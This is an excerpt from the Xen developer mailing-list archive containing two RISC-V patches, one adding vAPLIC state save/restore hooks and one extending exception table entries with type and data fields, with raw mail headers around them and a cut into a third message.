List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563366; x=1785168166; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ZpBsqzs6VD/wosptbqe2NxpZhfD1JSTneoZPQOtu8Ck=;
        b=LcH7HB1Cg3/1kvlCDv3PAviVG45pAtaS4tbKl/L3Ga2ZhijTMv+8hBWi34Y8ugTcmH
         ewmvVptlXUO0PkYrFSe6a+jIUvu0moO1B4HiTIeMlHhjvwfGXnSNq7J143C/nlXRdaSY
         bC++EqBTEz7CcgbII9LjG7Y0RFeRT9uPWUSJgJYOWI3wUQlig26zDKha2Vt0ZyzltMXK
         iOEIRTV005fcMlrlwtfCyg7Q+azXNKqrNMFGw8fx4DcndtYWzg086fbliUk8s5ll1+DJ
         wvDMlDFJTIP8qXrauDE2T4KSYmnb3462lICV6YEZVFiunHB80fa4YoW4ddxNcjfVmy+R
         68mg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563366; x=1785168166;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=ZpBsqzs6VD/wosptbqe2NxpZhfD1JSTneoZPQOtu8Ck=;
        b=aSZ4rOKnCp5z2Wg0ZrMBouliRRonAocT1xO7R/4E/b0qKPiPoi57j7lGbejP6X3aBX
         z2xMo8NhHpu5NApT/G+Y+Mk5ckgF24oBFf08ellFjqvc79J5CZ97aK9/BBjUBgIZZ1F/
         UrERAcJxT6b5Y0IaeXV/2nkTPQ2tkKU/GdobYzdDXWXOEkqDDbZ9Tdn1UlJ4CgtAHRs9
         +Nvi4sDZ0fgIMI94KqDI+EiVSDuBX626w27JYlyVYxQ37G9Et6TdKp6O4Uk+Rg+Y3H0v
         WXRVUQFu5KXPXCJ3B5bLR6P222dgurOJJ7OA0hcQgXRQ7SE/7kUEKtyt7hmlEAjmjduc
         S2Sw==
X-Gm-Message-State: AOJu0YwZVmfu2pvhIaKjYrUaTPkpAtAWQN4/sW/H6V+7u8Yz2uSNV3Zt
	HT6E3xLEtumv1ryOO+P2suH5WctpAri4L3IeO/fljx7mFMPRruuIZyFObW/qag==
X-Gm-Gg: AfdE7cnMfUo3VeCqwyJ19HzXCSIPNvnM69bmwvVmT2zvi9X9BPVH4ojDlSVt+oyt+C/
	2ElRpdHMZs5cLXzXQ1Tgcp+2PsmhQwE9fw4hsU717UlrwfnlqGarmIt41XftCbdq8i5TrPCbG3k
	lAea90o/4nsessZ+dcFLJf28SkO72+xPtbX8PcFR/88hdLWmnmiPkmokp+1E2T5A5+p/2GK1l3d
	Ut9NAEEI61bfiGQ/xbe9olj3SUTG5yPoaVrRv+H2a5XzKzu+c4Z3aWeoJjNTOsNWvV/DdmPd16g
	8PvWHQQLpDnSwgNPGmU/yedUhIJpT/ES5P1DBqH9ffNirnMbpc99SeQykq5UYh7pGqYqeYW0P16
	vUcCX9jHa0TcsaIFeD7IuGLQvDTlLD8ypXdh1ICqfYTr+j0m1ztjQqaj8d36PSHHYElcRqW7KrC
	UbMCMtMVMuHC2r0j63dpv3WrYgWzkEF1NJ5d0C/sDEybKhRbFBWBQ/Yh5KsA==
X-Received: by 2002:a05:600c:3512:b0:493:cfe8:5b36 with SMTP id 5b1f17b1804b1-4954a3eec4bmr168388825e9.8.1784563365353;
        Mon, 20 Jul 2026 09:02:45 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 11/17] xen/riscv: add vAPLIC state save/restore hooks
Date: Mon, 20 Jul 2026 18:02:09 +0200
Message-ID: <b8aad28481520eb241a1f7519336d3e4bc9aff9f.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1784563366-C4B45757-73968AB4/10/73395122804
X-purgate-type: spam
X-purgate-size: 1985

vAPLIC state needs to be saved and restored as part of vCPU context
management.

Introduce vaplic_state_save() and vaplic_state_restore() and wire them
to the IMSIC state save/restore helpers when MSI is available. The
functions are currently no-ops on platforms without MSI support and
will lead to BUG_ON() to not miss add support of no-MSI case.

Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 xen/arch/riscv/include/asm/vaplic.h |  3 +++
 xen/arch/riscv/vaplic.c             | 18 ++++++++++++++++++
 2 files changed, 21 insertions(+)

diff --git a/xen/arch/riscv/include/asm/vaplic.h b/xen/arch/riscv/include/asm/vaplic.h
index 7bf9247f4eae..fbd224b9a34a 100644
--- a/xen/arch/riscv/include/asm/vaplic.h
+++ b/xen/arch/riscv/include/asm/vaplic.h
@@ -34,4 +34,7 @@ struct vaplic {
 int domain_vaplic_init(struct domain *d);
 void domain_vaplic_deinit(struct domain *d);
 
+void vaplic_state_save(struct vcpu *v);
+void vaplic_state_restore(struct vcpu *v);
+
 #endif /* ASM__RISCV__VAPLIC_H */
diff --git a/xen/arch/riscv/vaplic.c b/xen/arch/riscv/vaplic.c
index 03240730e344..0723aad9558e 100644
--- a/xen/arch/riscv/vaplic.c
+++ b/xen/arch/riscv/vaplic.c
@@ -400,9 +400,27 @@ static const struct mmio_handler_ops vaplic_mmio_ops = {
     .write = vaplic_mmio_write,
 };
 
+void vaplic_state_save(struct vcpu *v)
+{
+    if ( has_msi_support() )
+        imsic_state_save(v);
+    else
+        BUG_ON("unimplemented");
+}
+
+void vaplic_state_restore(struct vcpu *v)
+{
+    if ( has_msi_support() )
+        imsic_state_restore(v);
+    else
+        BUG_ON("unimplemented");
+}
+
 static const struct vintc_ops vintc_ops = {
     .vcpu_init = vaplic_init,
     .vcpu_deinit = vaplic_deinit,
+    .store_state = vaplic_state_save,
+    .restore_state = vaplic_state_restore,
 };
 
 int domain_vaplic_init(struct domain *d)
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367166.1617053 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqSB-0002WN-DU; Mon, 20 Jul 2026 16:02:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367166.1617053; Mon, 20 Jul 2026 16:02:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqSB-0002Vb-3T; Mon, 20 Jul 2026 16:02:51 +0000
Received: by outflank-mailman (input) for mailman id 1367166;
 Mon, 20 Jul 2026 16:02:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqS8-00028v-NL
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqS8-007AIH-3f
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:48 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e468a-e002-0a2a0a5209dd-0a2a4505d2c2-46
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:48 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e46a7-4cb1-0a2a45050019-d155dd2aace0-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:48 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-47f703a9e5dso520767f8f.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:47 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.45
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:46 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563367; x=1785168167; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=hF0EPypo37qwTT5HP45kbII8Abg9/xZofbCDxXGst1A=;
        b=ElxYcvlglDoP6BCX3FjwxdcIOcdUZ1iwxqlsN3mkMzJeBaLnkeA6S4+KczUEnm07rH
         KUnfikERamzMYJZZO4nfqIOal7Wue22Ic1KVPQf4d0MHQwhpt3zT0jtl0UpGfrwHZxPQ
         lENIgGZ+/H40CabkNgIrZadx2OHUVSnnSnkW+VqpdncRGent3MnyPb7EozJ7oVCK1Qjp
         4m4CyCwJSzJXqEapc+d4PltVHihnrr2d3fzRXRAx/wXDE1741JvUMwgRLKi1fR0Y2fdJ
         AD2qqWxnGSOirXdP7qlfaJZXQgqZk/peSY8XLZymvTbZllw69ObgRsPlWcWv+Bo8tDbq
         Gj/Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563367; x=1785168167;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=hF0EPypo37qwTT5HP45kbII8Abg9/xZofbCDxXGst1A=;
        b=o43C2D1SCOFuWzxH+Js/Z+stpaQSqDMqUQQJaE/cqVCMMKjTcLvQo0Ja4Qpj9yuoMe
         EYsO9lVwwx1taNyQ7D1dxju10A/NOOmw//B9IIYGYVAvlQwZLCqFwG2R+ecK+T8HdP4a
         muEsmaolFfLz1VK+kb88IVcQ1ySWetH9rtynV6ghumBF2cgtwsj7h/J2i9QJOxqpOsjP
         5PEOXQfdlDJwshZRNQy2lv93pbgPsQf938ofmoZcFxKszhCOR3iW3hBZnLfTKwXzBrZV
         e/PG1Tf0KfwhVxCa1NP1xW52zj/vvnE9UmSfOyTKtkHKNll5NidOxl4jxuwot1BhpF+Q
         KUvQ==
X-Gm-Message-State: AOJu0YxnwbTiviWIWvisHL2oMn8aT+xjdy80flpa0m1DZWVeV/wrAr0i
	BDWHXZnu0w9dR8j9iBrS42CPOtfYgUsS+5OFxolRZjWs+5e2Fj2WA7m6x7IhAA==
X-Gm-Gg: AfdE7cnPpnoE7MsTkmx34AE4RsTiX9kdSiX3KJielifJQwmRBZYcEGT9elVQTsAZ79B
	USVuGM5X8Sdi6Xdjh0T12wry3cRPpjq1tt7H/tA2iNgTlrwS36ye0LNEtxe6iwjMf6uhevhHrwK
	yHAKrfkt4c1Xdb1ClWFQRtdZVQld0yjuK8cQ0pB8oOgbTR0a+viCXyk5Sk4yFFD4vQSQD4Yq9py
	sIciz7cjhuaucI5/toDtNUjV4SFvjvoGu6KD8eZGIDEViZiTWJga2YEEb1tpwRqcGJtZS+9SVvW
	wdNppcYarx3sRBAiRHwTVQzMKf5s4c7wWGRM/5MXFqBQR5GGbD2bNRMsQAnhMXPDaZCiFofxFEp
	rtfAlM5Cm/ogt1A/eZIshE26OhU6zcJX84vZrBh0kq3yfj4ZZdHjKDnUKXVn7PQkExMTE41Qhh1
	aUL+VQtAGzd0/SYsjlyim7bKAgkkCmqJgB8a+SvZ+NCo1E8ak=
X-Received: by 2002:a7b:c344:0:b0:494:282:106c with SMTP id 5b1f17b1804b1-4954a3f5295mr124904515e9.16.1784563367334;
        Mon, 20 Jul 2026 09:02:47 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 12/17] xen/riscv: extend exception tables with type and data fields
Date: Mon, 20 Jul 2026 18:02:10 +0200
Message-ID: <1eb9050ff6632f91682151471440990bd718ed90.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1784563368-F52A32A1-5D3BFB3C/10/73395122804
X-purgate-type: spam
X-purgate-size: 10163

Extend the RISC-V exception table format to include a type and
auxiliary data field.

The existing format only supports simple fixups. Some use cases require
additional context from the fault (e.g. capturing trap information),
which cannot be expressed with the current EX_TYPE_FIXUP entries.

Introduce a generic ASM_EXTABLE_RAW() helper to describe entries with a
handler type and associated data. Reimplement ASM_EXTABLE() in terms of
it using EX_TYPE_FIXUP for compatibility.

Add EX_TYPE_TRAP_INFO to allow handlers to retrieve trap state
(sepc/scause/stval) and pass it to the fixup path. The data field is
used to encode which GPR contains a pointer to a struct trap_info.

Provide ASM_EXTABLE_TRAP_INFO() as a convenience wrapper for this case.

Also add gpr-num.h, providing symbolic GPR numbers for use in assembly
and inline asm. This is derived from Linux 6.16 with minor adjustments such
as using .irp instead of open-coding the same using a set of .equ.

Update the exception handling code to dispatch based on the entry type.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 xen/arch/riscv/extable.c               | 60 ++++++++++++++++++++++++-
 xen/arch/riscv/include/asm/extable.h   | 62 ++++++++++++++++++--------
 xen/arch/riscv/include/asm/gpr-num.h   | 33 ++++++++++++++
 xen/arch/riscv/include/asm/processor.h |  2 +
 xen/arch/riscv/include/asm/traps.h     |  6 +++
 5 files changed, 143 insertions(+), 20 deletions(-)
 create mode 100644 xen/arch/riscv/include/asm/gpr-num.h

diff --git a/xen/arch/riscv/extable.c b/xen/arch/riscv/extable.c
index 77e5e9e89439..e0ced0537182 100644
--- a/xen/arch/riscv/extable.c
+++ b/xen/arch/riscv/extable.c
@@ -7,8 +7,10 @@
 #include <xen/sort.h>
 #include <xen/virtual_region.h>
 
+#include <asm/csr.h>
 #include <asm/extable.h>
 #include <asm/processor.h>
+#include <asm/traps.h>
 
 #define EX_FIELD(ptr, field) ((unsigned long)&(ptr)->field + (ptr)->field)
 
@@ -33,6 +35,12 @@ static void __init cf_check swap_ex(void *a, void *b)
 
     x->fixup = y->fixup + delta;
     y->fixup = tmp.fixup - delta;
+
+    x->type = y->type;
+    y->type = tmp.type;
+
+    x->data = y->data;
+    y->data = tmp.data;
 }
 
 static int cf_check cmp_ex(const void *a, const void *b)
@@ -60,6 +68,40 @@ static void ex_handler_fixup(const struct exception_table_entry *ex,
     regs->sepc = ex_fixup(ex);
 }
 
+static inline unsigned long regs_get_gpr(struct cpu_user_regs *regs,
+                                         unsigned int offset)
+{
+    /*
+     * The GPR number -> offset arithmetic below relies on x0..x31 being
+     * laid out at the start of struct cpu_user_regs in architectural
+     * order.
+     */
+    BUILD_BUG_ON(offsetof(struct cpu_user_regs, ra) !=
+                 sizeof(unsigned long));
+    BUILD_BUG_ON(offsetof(struct cpu_user_regs, t6) !=
+                 31 * sizeof(unsigned long));
+
+    if ( unlikely(!offset || (offset > MAX_REG_OFFSET)) )
+        return 0;
+
+    return *(unsigned long *)((unsigned long)regs + offset);
+}
+
+static void ex_handler_trap_info(const struct exception_table_entry *ex,
+                                 struct cpu_user_regs *regs)
+{
+    struct trap_info *trap_info =
+        (struct trap_info *)regs_get_gpr(regs, ex->data * sizeof(unsigned long));
+
+    BUG_ON(!trap_info);
+
+    trap_info->sepc = csr_read(CSR_SEPC);
+    trap_info->scause = csr_read(CSR_SCAUSE);
+    trap_info->stval = csr_read(CSR_STVAL);
+
+    regs->sepc = ex_fixup(ex);
+}
+
 bool fixup_exception(struct cpu_user_regs *regs)
 {
     unsigned long pc = regs->sepc;
@@ -78,7 +120,23 @@ bool fixup_exception(struct cpu_user_regs *regs)
     if ( !ex )
         return false;
 
-    ex_handler_fixup(ex, regs);
+    switch ( ex->type )
+    {
+    case EX_TYPE_FIXUP:
+        ex_handler_fixup(ex, regs);
+        break;
+
+    case EX_TYPE_TRAP_INFO:
+        ex_handler_trap_info(ex, regs);
+        break;
+
+    default:
+        printk(XENLOG_ERR
+               "Unsupported exception table entry type %u for pc %#lx\n",
+               ex->type, pc);
+
+        return false;
+    }
 
     return true;
 }
diff --git a/xen/arch/riscv/include/asm/extable.h b/xen/arch/riscv/include/asm/extable.h
index c0128a91818f..287ce962b5cf 100644
--- a/xen/arch/riscv/include/asm/extable.h
+++ b/xen/arch/riscv/include/asm/extable.h
@@ -3,17 +3,24 @@
 #ifndef ASM__RISCV__ASM_EXTABLE_H
 #define ASM__RISCV__ASM_EXTABLE_H
 
+#include <asm/gpr-num.h>
+
+#define EX_TYPE_FIXUP 0
+#define EX_TYPE_TRAP_INFO 1
+
 #ifdef __ASSEMBLER__
 
-#define ASM_EXTABLE(insn, fixup) \
-    .pushsection .ex_table, "a"; \
-    .balign     4;               \
-    .word       (insn) - .;      \
-    .word       (fixup) - .;     \
-    .popsection
+#define ASM_EXTABLE_RAW(insn, fixup, type, data)    \
+    .pushsection .ex_table, "a";                    \
+    .balign     4;                                  \
+    .long       ((insn) - .);                       \
+    .long       ((fixup) - .);                      \
+    .short      (type);                             \
+    .short      (data);                             \
+    .popsection;
 
-.macro asm_extable, insn, fixup
-    ASM_EXTABLE(\insn, \fixup)
+.macro _asm_extable, insn, fixup
+    ASM_EXTABLE_RAW(\insn, \fixup, EX_TYPE_FIXUP, 0)
 .endm
 
 #else /* __ASSEMBLER__ */
@@ -23,20 +30,36 @@
 
 struct cpu_user_regs;
 
-#define ASM_EXTABLE(insn, fixup)      \
-    ".pushsection .ex_table, \"a\"\n" \
-    ".balign    4\n"                  \
-    ".word      (" #insn " - .)\n"    \
-    ".word      (" #fixup " - .)\n"   \
+#define ASM_EXTABLE_RAW(insn, fixup, type, data)    \
+    ".pushsection .ex_table, \"a\"\n"               \
+    ".balign    4\n"                                \
+    ".long      ((" insn ") - .)\n"                 \
+    ".long      ((" fixup ") - .)\n"                \
+    ".short      (" type ")\n"                      \
+    ".short      (" data ")\n"                      \
     ".popsection\n"
 
+#define ASM_EXTABLE(insn, fixup)    \
+    ASM_EXTABLE_RAW(#insn, #fixup, __stringify(EX_TYPE_FIXUP), "0")
+
+#define EX_TRAP_INFO_REG(gpr)   \
+    "(.L_gpr_num_" #gpr ")"
+
+#define ASM_EXTABLE_TRAP_INFO(insn, fixup, data)                    \
+    DEFINE_ASM_GPR_NUMS                                             \
+    ASM_EXTABLE_RAW(#insn, #fixup, __stringify(EX_TYPE_TRAP_INFO),  \
+                    EX_TRAP_INFO_REG(data))
+
 /*
- * The exception table consists of pairs of relative offsets: the first
- * is the relative offset to an instruction that is allowed to fault,
- * and the second is the relative offset at which the program should
- * continue. No general-purpose registers are modified by the exception
- * handling mechanism itself, so it is up to the fixup code to handle
- * any necessary state cleanup.
+ * Each exception table entry consists of two relative offsets and a
+ * handler description: `insn` is the relative offset to an instruction
+ * that is allowed to fault, `fixup` is the relative offset at which the
+ * program should continue, `type` selects how the exception is handled
+ * (EX_TYPE_*), and `data` holds auxiliary information for the handler
+ * (e.g. for EX_TYPE_TRAP_INFO, the number of the GPR that contains a
+ * pointer to a struct trap_info). No general-purpose registers are
+ * modified by the exception handling mechanism itself, so it is up to
+ * the fixup code to handle any necessary state cleanup.
  *
  * The exception table and fixup code live out of line with the main
  * instruction path. This means when everything is well, we don't even
@@ -45,6 +68,7 @@ struct cpu_user_regs;
  */
 struct exception_table_entry {
     int32_t insn, fixup;
+    uint16_t type, data;
 };
 
 extern struct exception_table_entry __start___ex_table[];
diff --git a/xen/arch/riscv/include/asm/gpr-num.h b/xen/arch/riscv/include/asm/gpr-num.h
new file mode 100644
index 000000000000..1578f55cbd97
--- /dev/null
+++ b/xen/arch/riscv/include/asm/gpr-num.h
@@ -0,0 +1,33 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+#ifndef RISCV_GPR_NUM_H
+#define RISCV_GPR_NUM_H
+
+/* GPR ABI names, in register-number order (x0 .. x31). */
+#define GPR_ABI_NAMES                   \
+    zero, ra, sp, gp, tp, t0, t1, t2,   \
+    s0, s1, a0, a1, a2, a3, a4, a5,     \
+    a6, a7, s2, s3, s4, s5, s6, s7,     \
+    s8, s9, s10, s11, t3, t4, t5, t6
+
+#ifdef __ASSEMBLER__
+
+    .equ    .L_gpr_num, 0
+    .irp    name, GPR_ABI_NAMES
+    .equ    .L_gpr_num_\name, .L_gpr_num
+    .equ    .L_gpr_num, .L_gpr_num + 1
+    .endr
+
+#else /* __ASSEMBLER__ */
+
+#include <xen/stringify.h>
+
+#define DEFINE_ASM_GPR_NUMS                         \
+"   .equ    .L_gpr_num, 0\n"                        \
+"   .irp    name, " __stringify(GPR_ABI_NAMES) "\n" \
+"   .equ    .L_gpr_num_\\name, .L_gpr_num\n"        \
+"   .equ    .L_gpr_num, .L_gpr_num + 1\n"           \
+"   .endr\n"
+
+#endif /* __ASSEMBLER__ */
+
+#endif /* RISCV_GPR_NUM_H */
diff --git a/xen/arch/riscv/include/asm/processor.h b/xen/arch/riscv/include/asm/processor.h
index 6b89df4a2d4f..a5ccfa61bb9f 100644
--- a/xen/arch/riscv/include/asm/processor.h
+++ b/xen/arch/riscv/include/asm/processor.h
@@ -54,6 +54,8 @@ struct cpu_user_regs
     unsigned long pregs;
 };
 
+#define MAX_REG_OFFSET offsetof(struct cpu_user_regs, t6)
+
 /* TODO: need to implement */
 #define cpu_to_core(cpu)   0
 #define cpu_to_socket(cpu) 0
diff --git a/xen/arch/riscv/include/asm/traps.h b/xen/arch/riscv/include/asm/traps.h
index 21fa3c3259b3..8d4ab664bca9 100644
--- a/xen/arch/riscv/include/asm/traps.h
+++ b/xen/arch/riscv/include/asm/traps.h
@@ -7,6 +7,12 @@
 
 #ifndef __ASSEMBLER__
 
+struct trap_info {
+    register_t sepc;
+    register_t scause;
+    register_t stval;
+};
+
 void do_trap(struct cpu_user_regs *cpu_regs);
 void handle_trap(void);
 void trap_init(void);
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367168.1617058 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqSC-0002eR-FB; Mon, 20 Jul 2026 16:02:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367168.1617058; Mon, 20 Jul 2026 16:02:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqSC-0002cn-1A; Mon, 20 Jul 2026 16:02:52 +0000
Received: by outflank-mailman (input) for mailman id 1367168;
 Mon, 20 Jul 2026 16:02:50 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqSA-0002Sr-Ng
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqSA-00HTbS-4Z
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:50 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e46a4-bab6-0a2a0a5309dd-0a2a4501ee0c-16
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:50 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e46a9-5984-0a2a45010019-d1558035bdbc-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:49 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-49556f97a9dso11482295e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:49 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.47
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:48 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563369; x=1785168169; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=+7kdah3CKoZ2lfUKxn7g0im5G4hErGLWA6eC7dkc6P0=;
